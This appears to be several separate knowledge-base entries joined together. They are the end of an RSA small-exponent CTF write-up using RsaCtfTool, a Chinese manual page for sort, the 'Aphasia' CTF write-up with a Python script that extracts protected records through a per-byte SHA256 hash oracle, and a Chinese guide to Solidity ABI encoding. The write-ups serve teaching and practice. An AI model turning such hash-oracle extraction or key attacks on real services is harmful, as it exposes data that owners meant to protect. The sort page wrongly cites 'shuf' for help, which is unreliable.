78842840159587338417419011614393185401240647627799381194031424497614312000606390731066498910531421157669644123363181738575799281229440743671134929331437439490071580389848018979210381365138291876975232174547899857742337566723851894518468628974701999883512579312988164921759377475490690419539617132945742558672494594371512299043283199704753615096315737723336232914847417410619137369395797220301015302428751818260964183632968775739930436019371221754351380629006728955956637241950095280303981580679951827024839585112323891374641068997373292947282368072165058319544967141290262706687078206206502208263835947978089598056551876213965679618049157401390017210635644993658118720091807672636245457449693362719383898821411936621031976455272447231891318925687851820942869490379009741533385171601892737989982547260775052681893444535431051164446279545244894731448990623921279479152647185093618466786877198801626025031901601753768828462928204812410746227831841558751509335002904399230344860600039909376415088854196307588265968829323409660484065738840272328566011045760309619204823971327353210104426881857512308381911000386810258597947408158371902897287466040687549009953976817888742025535113670803453673093505102929096222721111415735313089413573416549571392375797466244250005245471146248526658922696632043924560245101568657741775094381145147613195122002534014516045374920395234698074601222719492153961200482808339111866883726227453710142298248492507718912404329172124600366723305794672821723873509083100953444386997080799412378445273716512682406080774844408558105445333952567413546945460758594405009334009883310682595320073114459429079648629585042596199548891361302214394080696744431402169650977022406497916449151292665100478513325139508351860896753148220003937504459502633533826419102323832140632861859387329705587410584181488978220459725041974275058185036964912339552332685350965542680964970967409020255400350255299317435081552375531
e: 3
c: 13790649541468249014836085207722101155094475533012953118911100663122580403893903500815041636852332700008241972811106846339716931746309200309832158076877697437243498800323921064666303768017380229918082414393549770435930838454903777560614328878112776422577503007941860832585126586731689337282120837345237244721036175732306617258800335568405673051154324385963427503577403760217808411902993712311399455174828040538269280378427181006415414482431821884716847617123631685427418225720523831635815921803890448252833494840426431444829247049262025732729680531293018855716025198735409215685917514523791027333254802176720521234430971388596866295763786203186999719829018519677972048139021655627832998967582024600137083469507983552722616993442150179859057601051684775242466465362684452569068930391986337648955877227279987962011237002654224177765388852968803488840528449376707801930952514260695274673114793786684016563034337702508810993029309413623292657190568826423303864872264197421305763697709581241808402880353750802867403085559313119263617883063342848807829950260211129002642441053187202739801488930864894239029921709808107736182040896756122240827751505857531782007350162191785962514869710215998476189636777996895104318039880270922701058948283595270826228877373926734181823577991741185340707751894366736099964491391409447031222596166865523106215070088914888295750312293860074288197627226885140849139300610326468857747170491159587220182197613971685147656666423534237806531111585415942829447981116161205443256455449225901847559636827719523573249133545732472086199343738168533225436193612245069925031550799330572747299026321905773161720615815036329260065908090905048665825299794028074894937466775315238595038999054382361837549766798834344881781151709002484748340968898762073557650804767607299137437188461247791032003345364662550055689540597289217907089421837893380000658836460279361549674256613109687702633198756764761752305132735679658029763564745970996314823382315549977665537498420529473354744362927560262131758996620940311393
```
Since the public exponent is very small, we can try to perform a [Low public exponent attack](https://en.wikipedia.org/wiki/Coppersmith%27s_attack#Low_public_exponent_attack). We'll use RsaCtfTool for that:
```console
root@kali:/media/sf_CTFs/technion/Relatively_Short_Attack# ~/utils/RsaCtfTool/RsaCtfTool.py --createpub -n 1036468104802883031549027575613421791563372139585888000937982803940795010661380344423326337285911149486058383604275022226220763124510094375331654754379252823453854319841096507463335266211244417359304918616059387219741515952705130354634448619473211894827624581589042882327719208980719961241411388098881279836438795334461673509112801833097522632316138621814055573961688485330159529375395638845388630274857033787986196327948351772187943603410292384937297126120904287834502752607362002084355896912959222339492370355337833962634703992984349174865988717560426562575945601191694769925297404385601570667062874831861070143791937346296529381803207057402470461713116513143094310857016536044800935412539034879195364333982456159275618086509754567547782747904253659230849642484698383234368362419194951478970198091523584976778000245430065388083028169192541854890213385834896951390133956999432510388303120653763163279782205789332191846815585125946615918428587299209266527700851075237282744554993685792843587095763210408406570617217712988322476058785475070651421425570083711208737546227782169234292093068323277885313043905945801260705273789861149013185391711504712317122223204108970538536274196190808468347286332235527199557175970544274597287754317033050771085018376869532559024879916131282264259446988250286045980776934436549557891544143923602778975712782657894321232025648507342290706283269000192728783666524083213601095399143523234916269278968003015748060236127947830964014274749855865258820586353185120866926578746519852203682007230689359918929543542713178518304553978270612093543385654023588974107443285991191737899052521647565156904536502643805491393679728872105021549324169956415246821012844827423645773045728653367956546167177256125751924990909097113734820640076959730955697935997420246504882828417493721059651897617147978308351360109960013755312247820665539443091616039773581864775394684046012300886423888030863020147592166762381743604840787016718147743750444044167672320987888981217629138929707991896073870793828632273643204736567970486647585663280078742669634529513229171261759951068994103988191929559052658125836904098395282287400455528240879860854345094115339432368342957638475998036051046694691200257945102487216488959140329729240564902127802433890134688918415741987890141499975189842713608447130479801805277763975412887886333868063702413875280893425617811714256443350337128154760036352156564300596113756690169209226453312840543126804817241031985232403851496826852627397864150304966529331767162854956595796813515935858910559414385745261761977469819263379187564779310649501524474249703179621438467655799745087127525502145071831054654994750810402210458700976061160945194786674703816724055596332171227622852280418952977046773348335815547855069821098197918498794053567608803761178413293342554940421358284116965389859917321404871624035387788996161166605351724497453872769764405316618276723883375741859883744962206076293356011415768212154906365329564313045608547258009087220871640829431288290127681287822702024802042627487378842840159587338417419011614393185401240647627799381194031424497614312000606390731066498910531421157669644123363181738575799281229440743671134929331437439490071580389848018979210381365138291876975232174547899857742337566723851894518468628974701999883512579312988164921759377475490690419539617132945742558672494594371512299043283199704753615096315737723336232914847417410619137369395797220301015302428751818260964183632968775739930436019371221754351380629006728955956637241950095280303981580679951827024839585112323891374641068997373292947282368072165058319544967141290262706687078206206502208263835947978089598056551876213965679618049157401390017210635644993658118720091807672636245457449693362719383898821411936621031976455272447231891318925687851820942869490379009741533385171601892737989982547260775052681893444535431051164446279545244894731448990623921279479152647185093618466786877198801626025031901601753768828462928204812410746227831841558751509335002904399230344860600039909376415088854196307588265968829323409660484065738840272328566011045760309619204823971327353210104426881857512308381911000386810258597947408158371902897287466040687549009953976817888742025535113670803453673093505102929096222721111415735313089413573416549571392375797466244250005245471146248526658922696632043924560245101568657741775094381145147613195122002534014516045374920395234698074601222719492153961200482808339111866883726227453710142298248492507718912404329172124600366723305794672821723873509083100953444386997080799412378445273716512682406080774844408558105445333952567413546945460758594405009334009883310682595320073114459429079648629585042596199548891361302214394080696744431402169650977022406497916449151292665100478513325139508351860896753148220003937504459502633533826419102323832140632861859387329705587410584181488978220459725041974275058185036964912339552332685350965542680964970967409020255400350255299317435081552375531 -e 3 > key.pub
root@kali:/media/sf_CTFs/technion/Relatively_Short_Attack# python3 ~/utils/RsaCtfTool/RsaCtfTool.py --publickey key.pub --attack cube_root --uncipher 1379064954146824
9014836085207722101155094475533012953118911100663122580403893903500815041636852332700008241972811106846339716931746309200309832158076877697437243498800323921064666303
7680173802299180824143935497704359308384549037775606143288781127764225775030079418608325851265867316893372821208373452372447210361757323066172588003355684056730511543
2438596342750357740376021780841190299371231139945517482804053826928037842718100641541448243182188471684761712363168542741822572052383163581592180389044825283349484042
6431444829247049262025732729680531293018855716025198735409215685917514523791027333254802176720521234430971388596866295763786203186999719829018519677972048139021655627
8329989675820246001370834695079835527226169934421501798590576010516847752424664653626844525690689303919863376489558772272799879620112370026542241777653888529688034888
4052844937670780193095251426069527467311479378668401656303433770250881099302930941362329265719056882642330386487226419742130576369770958124180840288035375080286740308
5559313119263617883063342848807829950260211129002642441053187202739801488930864894239029921709808107736182040896756122240827751505857531782007350162191785962514869710
2159984761896367779968951043180398802709227010589482835952708262288773739267341818235779917411853407077518943667360999644913914094470312225961668655231062150700889148
8829575031229386007428819762722688514084913930061032646885774717049115958722018219761397168514765666642353423780653111158541594282944798111616120544325645544922590184
7559636827719523573249133545732472086199343738168533225436193612245069925031550799330572747299026321905773161720615815036329260065908090905048665825299794028074894937
4667753152385950389990543823618375497667988343448817811517090024847483409688987620735576508047676072991374371884612477910320033453646625500556895405972892179070894218
3789338000065883646027936154967425661310968770263319875676476175230513273567965802976356474597099631482338231554997766553749842052947335474436292756026213175899662094
0311393
private argument is not set, the private key will not be displayed, even if recovered.
[*] Testing key key.pub.
[*] Performing cube_root attack on key.pub.
Results for key.pub:
Unciphered data :
HEX : 0x4d79206465617220667269656e6473206f6620746865206465706172746d656e74206f6620454576696c0a56616164206d61646d616368206d616e6167656420616761696e20746f2064656372797074206f75722070726576696f7573206d657373616765210a546f206369726d75766d656e742074686973207765206465636964656420746f206368616e6765206f7572207075626c6963206578706f6e656e7420746f20736f6d657468696e67206d6f72652065736f74657269630a486572652069732061206e657720666c616720776520666f756e643a206373746563686e696f6e7b64306e745f7573335f536d346c6c5f337870306e336e74357d0a0a4c6f6e67206c697665207468652045456d7069726521
INT (big endian) : 239806844248210192302287736032486879627500384419021644316980250474365241780404175997555727164217623369492658529958194520601437755077053290911060884758288543338435746883839839331569107581541674020509384984744863445445832736314508771380316081923787253630335854116076339039890101309814270689276713372903329285890881783674104709087343376001303919573622079911948786649515818258595819760858132610973278933810843134462661212473610599449884141131540444514115952386717632697854023982308485268618606791275042957576816576972627024913483558908435108468572211870241540604941918421504626709974725634710214948135311092849995858206058840511910168816896020738975275685679642193039323194657
INT (little endian) : 103373307429992451375970759674763097702561136727796741714147704878787305958383911042503310341962847161039395162297595129509069319861055745337968814287709693028570632168211767373049235170180900401625476112908358766531798805066247247052022999474263384426353985304422882643076770851346179940298632874107189110415980367923556763642278532479094698128460236360700792651111935034622363907132499889431127531001231207526794134978208659638809878741441359023783633249369189733449779007829664286108045230203746609303416528067760794026303684036886395644924860995607228544125272627529777603633651976955562254844645336245622260352732878643098144207639850429165193183556109424679404468557
STR : b'My dear friends of the department of EEvil\nVaad madmach managed again to decrypt our previous message!\nTo cirmuvment this we decided to change our public exponent to something more esoteric\nHere is a new flag we found: cstechnion{d0nt_us3_Sm4ll_3xp0n3nt5}\n\nLong live the EEmpire!'
```
|
sec-knowleage
|
sort
===
对文本文件中所有行进行排序。
## 概要
```shell
sort [OPTION]... [FILE]...
sort [OPTION]... --files0-from=F
```
## 主要用途
- 将所有输入文件的内容排序后并输出。
- 当没有文件或文件为`-`时,读取标准输入。
## 选项
排序选项:
```shell
-b, --ignore-leading-blanks 忽略开头的空白。
-d, --dictionary-order 仅考虑空白、字母、数字。
-f, --ignore-case 将小写字母作为大写字母考虑。
-g, --general-numeric-sort 根据数字排序。
-i, --ignore-nonprinting 排除不可打印字符。
-M, --month-sort 按照非月份、一月、十二月的顺序排序。
-h, --human-numeric-sort 根据存储容量排序(注意使用大写字母,例如:2K 1G)。
-n, --numeric-sort 根据数字排序。
-R, --random-sort 随机排序,但分组相同的行。
--random-source=FILE 从FILE中获取随机长度的字节。
-r, --reverse 将结果倒序排列。
--sort=WORD 根据WORD排序,其中: general-numeric 等价于 -g,human-numeric 等价于 -h,month 等价于 -M,numeric 等价于 -n,random 等价于 -R,version 等价于 -V。
-V, --version-sort 文本中(版本)数字的自然排序。
```
其他选项:
```shell
--batch-size=NMERGE 一次合并最多NMERGE个输入;超过部分使用临时文件。
-c, --check, --check=diagnose-first 检查输入是否已排序,该操作不会执行排序。
-C, --check=quiet, --check=silent 类似于 -c 选项,但不输出第一个未排序的行。
--compress-program=PROG 使用PROG压缩临时文件;使用PROG -d解压缩。
--debug 注释用于排序的行,发送可疑用法的警报到stderr。
--files0-from=F 从文件F中读取以NUL结尾的所有文件名称;如果F是 - ,那么从标准输入中读取名字。
-k, --key=KEYDEF 通过一个key排序;KEYDEF给出位置和类型。
-m, --merge 合并已排序文件,之后不再排序。
-o, --output=FILE 将结果写入FILE而不是标准输出。
-s, --stable 通过禁用最后的比较来稳定排序。
-S, --buffer-size=SIZE 使用SIZE作为内存缓存大小。
-t, --field-separator=SEP 使用SEP作为列的分隔符。
-T, --temporary-directory=DIR 使用DIR作为临时目录,而不是 $TMPDIR 或 /tmp;多次使用该选项指定多个临时目录。
--parallel=N 将并发运行的排序数更改为N。
-u, --unique 同时使用-c,严格检查排序;不同时使用-c,输出排序后去重的结果。
-z, --zero-terminated 设置行终止符为NUL(空),而不是换行符。
--help 显示帮助信息并退出。
--version 显示版本信息并退出。
KEYDEF的格式为:F[.C][OPTS][,F[.C][OPTS]] ,表示开始到结束的位置。
F表示列的编号
C表示
OPTS为[bdfgiMhnRrV]中的一到多个字符,用于覆盖当前排序选项。
使用--debug选项可诊断出错误的用法。
SIZE 可以有以下的乘法后缀:
% 内存的1%;
b 1;
K 1024(默认);
剩余的 M, G, T, P, E, Z, Y 可以类推出来。
```
## 参数
FILE(可选):要处理的文件,可以为任意数量。
## 返回值
返回0表示成功,返回非0值表示失败。
## 例子
sort将文件/文本的每一行作为一个单位相互比较,比较原则是从首字符向后依次按ASCII码值进行比较,最后将他们按升序输出。
```shell
root@[mail text]# cat sort.txt
aaa:10:1.1
ccc:30:3.3
ddd:40:4.4
bbb:20:2.2
eee:50:5.5
eee:50:5.5
[root@mail text]# sort sort.txt
aaa:10:1.1
bbb:20:2.2
ccc:30:3.3
ddd:40:4.4
eee:50:5.5
eee:50:5.5
```
忽略相同行使用`-u`选项或者`uniq`:
```shell
[root@mail text]# cat sort.txt
aaa:10:1.1
ccc:30:3.3
ddd:40:4.4
bbb:20:2.2
eee:50:5.5
eee:50:5.5
[root@mail text]# sort -u sort.txt
aaa:10:1.1
bbb:20:2.2
ccc:30:3.3
ddd:40:4.4
eee:50:5.5
[root@mail text]# uniq sort.txt
aaa:10:1.1
ccc:30:3.3
ddd:40:4.4
bbb:20:2.2
eee:50:5.5
```
`sort`的`-n、-r、-k、-t`选项的使用:
```shell
[root@mail text]# cat sort.txt
AAA:BB:CC
aaa:30:1.6
ccc:50:3.3
ddd:20:4.2
bbb:10:2.5
eee:40:5.4
eee:60:5.1
# 将BB列按照数字从小到大顺序排列:
[root@mail text]# sort -nk 2 -t: sort.txt
AAA:BB:CC
bbb:10:2.5
ddd:20:4.2
aaa:30:1.6
eee:40:5.4
ccc:50:3.3
eee:60:5.1
# 将CC列数字从大到小顺序排列:
# -n是按照数字大小排序,-r是以相反顺序,-k是指定需要排序的栏位,-t指定栏位分隔符为冒号
[root@mail text]# sort -nrk 3 -t: sort.txt
eee:40:5.4
eee:60:5.1
ddd:20:4.2
ccc:50:3.3
bbb:10:2.5
aaa:30:1.6
AAA:BB:CC
```
关于`-k`选项的解读和例子:
-k选项深度解读:
```shell
FStart.CStart Modifier,FEnd.CEnd Modifier
-------Start--------,-------End--------
FStart.CStart 选项 , FEnd.CEnd 选项
```
这个语法格式可以被其中的逗号`,`分为两大部分,**Start** 部分和 **End** 部分。
Start部分由三部分组成,其中的Modifier部分就是我们之前说过的选项部分;
我们重点说说`Start`部分的`FStart`和`C.Start`;`C.Start`是可以省略的,省略的话就表示从本域的开头部分开始。`FStart.CStart`,其中`FStart`就是表示使用的域,而`CStart`则表示在`FStart`域中从第几个字符开始算排序首字符。
同理,在End部分中,你可以设定`FEnd.CEnd`,如果你省略`.CEnd`或将它设定为0,则表示结尾到本域的最后一个字符。
例子:从公司英文名称的第二个字母开始排序:
```shell
$ sort -t ' ' -k 1.2 facebook.txt
baidu 100 5000
sohu 100 4500
google 110 5000
guge 50 3000
```
解读:使用了`-k 1.2`,表示对第一个域的第二个字符开始到本域的最后一个字符为止的字符串进行排序。你会发现baidu因为第二个字母是a而名列榜首。sohu和google第二个字符都是o,但sohu的h在google的o前面,所以两者分别排在第二和第三。guge只能屈居第四了。
例子:只针对公司英文名称的第二个字母进行排序,如果相同的按照员工工资进行降序排序:
```shell
$ sort -t ' ' -k 1.2,1.2 -nrk 3,3 facebook.txt
baidu 100 5000
google 110 5000
sohu 100 4500
guge 50 3000
```
解读:由于只对第二个字母进行排序,所以我们使用了`-k 1.2,1.2`的表示方式,表示我们只对第二个字母进行排序(如果你问我使用`-k 1.2`怎么不行?当然不行,因为你省略了End部分,这就意味着你将对从第二个字母起到本域最后一个字符为止的字符串进行排序)。
对员工工资进行排序,我们也使用了`-k 3,3`,这是最准确的表述,表示我们只对本域进行排序,因为如果你省略了后面的3,就变成了我们对第3个域开始到最后一个域位置的内容进行排序了。
### 注意
1. [关于-g和-n选项的区别:stackoverflow](https://stackoverflow.com/questions/1255782/whats-the-difference-between-general-numeric-sort-and-numeric-sort-options)
2. 关于这个复杂命令的学习,建议您阅读info文档及参考博客、问答网站等。
3. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 shuf`,`info coreutils 'shuf invocation'`。
|
sec-knowleage
|
# Aphasia
* Category: Cryptography
* 500 Points
* Solved by the JCTF Team
## Description
> In this challenge, you will need to extract the flag from the secure records, but how?
>
> http://memenc.challenges.bsidestlv.com/help
## Solution
We access the help API and get the following definitions:
```console
root@kali:/media/sf_CTFs/bsidestlv/Aphasia# curl http://memenc.challenges.bsidestlv.com/help
{
"GET /{credID}":"Check existance and length of record at cred ID (all numbers in hex)",
"GET /read/{credID}:{len}":"Retrieve len bytes of non secure data from record at cred ID (all numbers in hex)",
"GET /hash/{credID}:{len}:{offset}":"Retrieve hash bytes of secure data from record at cred ID (all numbers in hex)",
"GET /help":"Show API help"
}
```
Let's try the APIs out.
We start with the "get details" API:
```console
root@kali:/media/sf_CTFs/bsidestlv/Aphasia# curl http://memenc.challenges.bsidestlv.com/0
{"header":"nonSecure","length":"14","data":""}
root@kali:/media/sf_CTFs/bsidestlv/Aphasia# curl http://memenc.challenges.bsidestlv.com/a
{"header":"nonSecure","length":"0b","data":""}
root@kali:/media/sf_CTFs/bsidestlv/Aphasia# curl http://memenc.challenges.bsidestlv.com/999
{"header":"Error","length":"","data":""}
```
Let's try to read from the first record:
```console
root@kali:/media/sf_CTFs/bsidestlv/Aphasia# curl http://memenc.challenges.bsidestlv.com/read/0:1
{"header":"nonSecure","length":"14","data":"8e"}
root@kali:/media/sf_CTFs/bsidestlv/Aphasia# curl http://memenc.challenges.bsidestlv.com/read/0:2
{"header":"nonSecure","length":"14","data":"8ec1"}
root@kali:/media/sf_CTFs/bsidestlv/Aphasia# curl http://memenc.challenges.bsidestlv.com/read/0:3
{"header":"nonSecure","length":"14","data":"8ec162"}
```
We can read from this record, marked as "Non-Secure", using this API.
What does the hash API give us?
We read the hash of 1 byte of data from record 0, offsets 0, 1, and 2.
```console
root@kali:/media/sf_CTFs/bsidestlv/Aphasia# curl http://memenc.challenges.bsidestlv.com/hash/0:1:0
{"header":"nonSecure","length":"20","data":"7572920c2479d86b55ed3d99264979c35f97652f33ba9e73f2e40b474984a9c9"}
root@kali:/media/sf_CTFs/bsidestlv/Aphasia# curl http://memenc.challenges.bsidestlv.com/hash/0:1:1
{"header":"nonSecure","length":"20","data":"d0f631ca1ddba8db3bcfcb9e057cdc98d0379f1bee00e75a545147a27dadd982"}
root@kali:/media/sf_CTFs/bsidestlv/Aphasia# curl http://memenc.challenges.bsidestlv.com/hash/0:1:2
{"header":"nonSecure","length":"20","data":"81b8a03f97e8787c53fe1a86bda042b6f0de9b0ec9c09357e107c99ba4d6948a"}
```
These are the SHA256 values for `8e`, `c1` and `62` respectively:
```console
root@kali:/media/sf_CTFs/bsidestlv/Aphasia# echo -n "8e" | sha256sum
7572920c2479d86b55ed3d99264979c35f97652f33ba9e73f2e40b474984a9c9 -
root@kali:/media/sf_CTFs/bsidestlv/Aphasia# echo -n "c1" | sha256sum
d0f631ca1ddba8db3bcfcb9e057cdc98d0379f1bee00e75a545147a27dadd982 -
root@kali:/media/sf_CTFs/bsidestlv/Aphasia# echo -n "62" | sha256sum
81b8a03f97e8787c53fe1a86bda042b6f0de9b0ec9c09357e107c99ba4d6948a -
```
So we can use the "hash" API to deduce the contents of a non-secure record, giving us what we read using the "read" API.
Now let's go find a secure record and try the same trick:
```console
root@kali:/media/sf_CTFs/bsidestlv/Aphasia# curl http://memenc.challenges.bsidestlv.com/12
{"header":"Secure","length":"05","data":""}
root@kali:/media/sf_CTFs/bsidestlv/Aphasia# curl http://memenc.challenges.bsidestlv.com/read/12:0
{"header":"Secure","length":"05","data":"Secure data, use hash interface"}
root@kali:/media/sf_CTFs/bsidestlv/Aphasia# curl http://memenc.challenges.bsidestlv.com/hash/12:1:0
{"header":"Secure","length":"20","data":"9327ca99aaea2b8f025e61e53b64fcdd38d7e5c0ad893c4ed271d3622ac14548"}
root@kali:/media/sf_CTFs/bsidestlv/Aphasia# for i in `seq 0 256`; do chr=$(printf "%02x" $i); echo -n $chr | sha256sum &
& echo $chr; done | grep 9327ca99aaea2b8f025e61e53b64fcdd38d7e5c0ad893c4ed271d3622ac14548 -A1
9327ca99aaea2b8f025e61e53b64fcdd38d7e5c0ad893c4ed271d3622ac14548 -
f7
```
Looks like this works for secure record as well.
Using the following script, we can extract all the secure records:
```python
import requests
import hashlib
import string
URL = "http://memenc.challenges.bsidestlv.com"
def get_details(record_id):
r = requests.get("{}/{:x}".format(URL, record_id))
j = r.json()
if j["header"] == "Error":
return None
return j
def get_data(record_id, length):
r = requests.get("{}/read/{:x}:{:x}".format(URL, record_id, length))
j = r.json()
if j["header"] == "Error":
return None
return j
def get_hash(record_id, length, offset):
r = requests.get("{}/hash/{:x}:{:x}:{:x}".format(URL, record_id, length, offset))
j = r.json()
if j["header"] == "Error":
return None
return j
sha256_map = {}
for c in range(256):
hex_repr = '{:02x}'.format(c)
sha256_map[hashlib.sha256(hex_repr.encode()).hexdigest()] = hex_repr
record_id = -1
while True:
record_id += 1
details = get_details(record_id)
if details is None:
break
if details["header"] == "nonSecure":
continue
msg = ""
offset = 0
while True:
res = get_hash(record_id, 1, offset)
if res is None:
print ("Record #{}: '{}'".format(record_id, msg))
break
msg += sha256_map[res["data"]]
offset += 1
```
Running it, we get:
```console
root@kali:/media/sf_CTFs/bsidestlv/Aphasia# python3 extract.py
Record #2: '425369646573544c567b54686973207761732066756e217d'
Record #12: '425369646573544c567b54686973207761732066756e217d'
Record #16: '8e4f0ce5fdebae87da660bc6ebf1cd5d0cf8a6380e4c88'
Record #17: '425369646573544c567b54686973207761732066756e217d'
Record #18: 'f763f936ad'
Record #21: '425369646573544c567b54686973207761732066756e217d'
Record #28: '425369646573544c567b54686973207761732066756e217d'
Record #29: '425369646573544c567b54686973207761732066756e217d'
Record #31: '425369646573544c567b54686973207761732066756e217d'
Record #36: '425369646573544c567b54686973207761732066756e217d'
Record #47: '425369646573544c567b54686973207761732066756e217d'
Record #49: '425369646573544c567b54686973207761732066756e217d'
Record #56: '425369646573544c567b54686973207761732066756e217d'
Record #57: '425369646573544c567b54686973207761732066756e217d'
Record #66: '425369646573544c567b54686973207761732066756e217d'
Record #67: '2c1f56e75c38ce06'
Record #74: '425369646573544c567b54686973207761732066756e217d'
Record #77: 'd1'
Record #78: '710cf6da35d44c81365c5ca96ac5b379b5df85c80dfeddac6709ff0a'
Record #83: '425369646573544c567b54686973207761732066756e217d'
Record #85: '425369646573544c567b54686973207761732066756e217d'
Record #86: '425369646573544c567b54686973207761732066756e217d'
Record #87: '425369646573544c567b54686973207761732066756e217d'
Record #92: '425369646573544c567b54686973207761732066756e217d'
Record #93: '425369646573544c567b54686973207761732066756e217d'
Record #100: 'd474bb75f4e6ae882a0bb15ecdfd'
Record #101: '425369646573544c567b54686973207761732066756e217d'
Record #102: '13276f3f55551cc4b56f1eff2c9bcb78a590e6e3bb'
Record #115: '12b09617afb78ccbc6d776cb15ab7712d5dbc446de1d'
Record #124: '425369646573544c567b54686973207761732066756e217d'
Record #125: '425369646573544c567b54686973207761732066756e217d'
```
One value seems to repeat itself many times, what does it represent?
```console
root@kali:/media/sf_CTFs/bsidestlv/Aphasia# echo 425369646573544c567b54686973207761732066756e217d | xxd -p -r
BSidesTLV{This was fun!}
```
|
sec-knowleage
|
# Function Selector and Argument Encoding
> 详细可查看 [官方文档](https://docs.soliditylang.org/en/v0.8.1/abi-spec.html#)
> 参考自己博客 [Function Selector and Argument Encoding](https://hitcxy.com/2021/argument-encoding/)
在 Ethereum 生态系统中,ABI (Application Binary Interface,应用二进制接口) 是从区块链外部与合约进行交互以及合约与合约间进行交互的一种标准方式。数据会根据其类型按照这份手册中说明的方法进行编码。
## Function Selector
### 原理
某个函数签名的 Keccak (SHA-3) 哈希的前 4 字节,指定了要调用的函数,形如 bytes4(keccak256('balanceOf(address)')) == 0x70a08231 这种形式,0x70a08231 便是 balanceOf(address) 的 Function Selector
- 基础原型即是函数名称加上由括号括起来的参数类型列表,参数类型间由一个逗号分隔开,且没有空格
- 对于 uint 类型,要转成 uint256 进行计算,比如 ownerOf(uint256) 其 Function Selector = bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
- 函数参数包含结构体,相当于把结构体拆分成单个参数,只不过这些参数用 `()` 扩起来,详细可看下面的例子
### 例子
```solidity
pragma solidity >=0.4.16 <0.9.0;
pragma experimental ABIEncoderV2;
contract Demo {
struct Test {
string name;
string policies;
uint num;
}
uint public x;
function test1(bytes3) public {x = 1;}
function test2(bytes3[2] memory) public { x = 1; }
function test3(uint32 x, bool y) public { x = 1; }
function test4(uint, uint32[] memory, bytes10, bytes memory) public { x = 1; }
function test5(uint, Test memory test) public { x = 1; }
function test6(uint, Test[] memory tests) public { x = 1; }
function test7(uint[][] memory,string[] memory) public { x = 1; }
}
/* 函数选择器
{
"0d2032f1": "test1(bytes3)",
"2b231dad": "test2(bytes3[2])",
"92e92919": "test3(uint32,bool)",
"4d189ce2": "test4(uint256,uint32[],bytes10,bytes)",
"4ca373dc": "test5(uint256,(string,string,uint256))",
"ccc5bdd2": "test6(uint256,(string,string,uint256)[])",
"cc80bc65": "test7(uint256[][],string[])",
"0c55699c": "x()"
}
*/
```
## Function Selector and Argument Encoding
### 原理
* 动态类型的数据,比如动态数组,结构体,变长字节,其编码后存储其 `offset`、`length`、`data`
- 先把参数顺序存储:如果是定长数据类型,直接存储其 `data`,如果是变长数据类型,先存储其 `offset`
- 顺序遍历变长数据:先存储 `offset`,对于第一个变长数据,先存储其 `offset = 0x20 * number` ( `number` 是函数参数的个数 );对于下一个变长数据,其 `offset = offset_of_prev + 0x20 + 0x20 * number` (第一个 `0x20` 是存储前一个变长数据的长度占用的大小,`number` 是前一个变长数据的元素个数)
- 顺序遍历变长数据:存储完 `offset` ,接着就是遍历每个变长数据,分别存储其 `length` 和 `data`
- ( `ps:` 对于结构体这样的类型,存储的时候可把结构体内元素看成是一个新函数的参数,这样的话,对于结构体中的第一个变长数据,其 `offset = 0x20 * num` ,`num` 是结构体元素的个数 )
### 例子
针对上述的合约例子的 7 个函数,其函数调用最终编码如下
- test1("0x112233")
```
0x0d2032f1 // function selector
0 - 0x1122330000000000000000000000000000000000000000000000000000000000 // data of first parameter
```
- test2(["0x112233","0x445566"])
```
0x2b231dad // function selector
0 - 0x1122330000000000000000000000000000000000000000000000000000000000 // first data of first parameter
1 - 0x4455660000000000000000000000000000000000000000000000000000000000 // second data of first parameter
```
- test3(0x123,1)
```
0x92e92919 // function selector
0 - 0x0000000000000000000000000000000000000000000000000000000000000123 // data of first parameter
1 - 0x0000000000000000000000000000000000000000000000000000000000000001 // data of second parameter
```
- test4(0x123,["0x11221122","0x33443344"],"0x31323334353637383930","0x3132333435")
```
0x4d189ce2 // function selector
0 - 0x0000000000000000000000000000000000000000000000000000000000000123 // data of first parameter
1 - 0x0000000000000000000000000000000000000000000000000000000000000080 // offset of second parameter
2 - 0x3132333435363738393000000000000000000000000000000000000000000000 // data of third parameter
3 - 0x00000000000000000000000000000000000000000000000000000000000000e0 // offset of forth parameter
4 - 0x0000000000000000000000000000000000000000000000000000000000000002 // length of second parameter
5 - 0x0000000000000000000000000000000000000000000000000000000011221122 // first data of second parameter
6 - 0x0000000000000000000000000000000000000000000000000000000033443344 // second data of second parameter
7 - 0x0000000000000000000000000000000000000000000000000000000000000005 // length of forth parameter
8 - 0x3132333435000000000000000000000000000000000000000000000000000000 // data of forth parameter
/* 一些解释说明
data of first parameter: uint 定长类型,直接存储其 data
offset of second parameter: uint32[] 动态数组,先存储其 offset=0x20*4 ( 4 代表函数参数的个数 )
data of third parameter: bytes10 定长类型,直接存储其 data
offset of forth parameter: bytes 变长类型,先存储其 offset=0x80+0x20*3=0xe0 (0x80 是前一个变长类型的 offset,3 是前一个变长类型存储其长度和两个元素占用的插槽个数)
length of second parameter: 存储完 data 或者 offset 后,便开始存储变长数据的 length 和 data,这里是第二个参数的长度
first data of second parameter: 第二个参数的第一个数据
second data of second parameter: 第二个参数的第二个数据
length of forth parameter: 上面就把第二个变长数据存储完成,这里就是存储下一个变长数据的长度
data of forth parameter: 第四个参数的数据
*/
```
- test5(0x123,["cxy","pika",123])
```
0x4ca373dc // function selector
0 - 0x0000000000000000000000000000000000000000000000000000000000000123 // data of first parameter
1 - 0x0000000000000000000000000000000000000000000000000000000000000040 // offset of second parameter
2 - 0x0000000000000000000000000000000000000000000000000000000000000060 // first data offset of second parameter
3 - 0x00000000000000000000000000000000000000000000000000000000000000a0 // second data offset of second parameter
4 - 0x000000000000000000000000000000000000000000000000000000000000007b // third data of second parameter
5 - 0x0000000000000000000000000000000000000000000000000000000000000003 // first data length of second parameter
6 - 0x6378790000000000000000000000000000000000000000000000000000000000 // first data of second parameter
7 - 0x0000000000000000000000000000000000000000000000000000000000000004 // second data length of second parameter
8 - 0x70696b6100000000000000000000000000000000000000000000000000000000 // second data of second parameter
/* 一些解释说明
data of first parameter: uint 定长类型,直接存储其 data
offset of second parameter: 结构体,先存储其 offset=0x20*2 ( 2 代表函数参数的个数)
first data offset of second parameter: 结构体内元素可当成函数参数拆分,有三个元素,因第一个元素是 string 类型,所以先存储其 offset=0x20*3=0x60
second data offset of second parameter: 结构体第二个元素是 string 类型,先存储其 offset=0x60+0x20+0x20=0xa0 (第一个 0x20 是存储第一个 string 的长度所占大小,第二个 0x20 是存储第一个 string 的数据所占大小)
third data of second parameter: 结构体第三个元素是 uint 定长类型,直接存储其 data
first data length of second parameter: 存储结构体第一个元素的 length
first data of second parameter: 存储结构体第一个元素的 data
second data length of second parameter: 存储结构体第二个元素的 length
second data of second parameter: 存储结构体第二个元素的 data
*/
```
